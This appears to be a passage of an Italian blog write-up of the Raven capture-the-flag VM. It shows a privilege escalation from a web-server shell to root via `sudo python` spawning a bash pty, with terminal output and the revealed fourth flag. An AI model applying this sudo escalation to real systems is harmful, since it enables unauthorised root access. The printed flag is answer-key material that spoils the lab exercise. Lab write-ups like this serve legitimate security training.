HackingLab – Raven

Utilizzando Python abbiamo ottenuto la schell con lo script:
sudo python -c ‘import pty;pty.spawn(“/bin/bash”);’
diventando root.

$ sudo python -c 'import pty;pty.spawn("/bin/bash");'
root@Raven:/var/www# whoami
root
root@Raven:/var/www# id
uid=0(root) gid=0(root) groups=0(root)
root@Raven:/var/www# 

All’interno della directory root troviamo la quarta bandierina:
flag4{715dea6c055b9fe3337544932f2941ce}

root@Raven:/var/www# cd /root
root@Raven:~# ls -al
total 40
drwx------  2 root root 4096 Aug 13  2018 .
drwxr-xr-x 22 root root 4096 Aug 13  2018 ..
-rw-------  1 root root 3402 Aug 13  2018 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root  442 Aug 13  2018 flag4.txt
-rw-------  1 root root   27 Aug 13  2018 .mysql_history
-rw-r--r--  1 root root  140 Nov 20  2007 .profile
-rw-------  1 root root 1024 Aug 13  2018 .rnd
-rw-r--r--  1 root root   66 Aug 13  2018 .selected_editor
-rw-r--r--  1 root root   20 Aug 13  2018 .tmux-session
root@Raven:~# cat flag4.txt 
______                      

| ___ \                     

| |_/ /__ ___   _____ _ __  

|    // _` \ \ / / _ \ '_ \ 

| |\ \ (_| |\ V /  __/ | | |

\_| \_\__,_| \_/ \___|_| |_|

                            
flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought: 

@mccannwj / wjmccann.github.io

Leave a Reply

Your email address will not be published. Required fields are marked *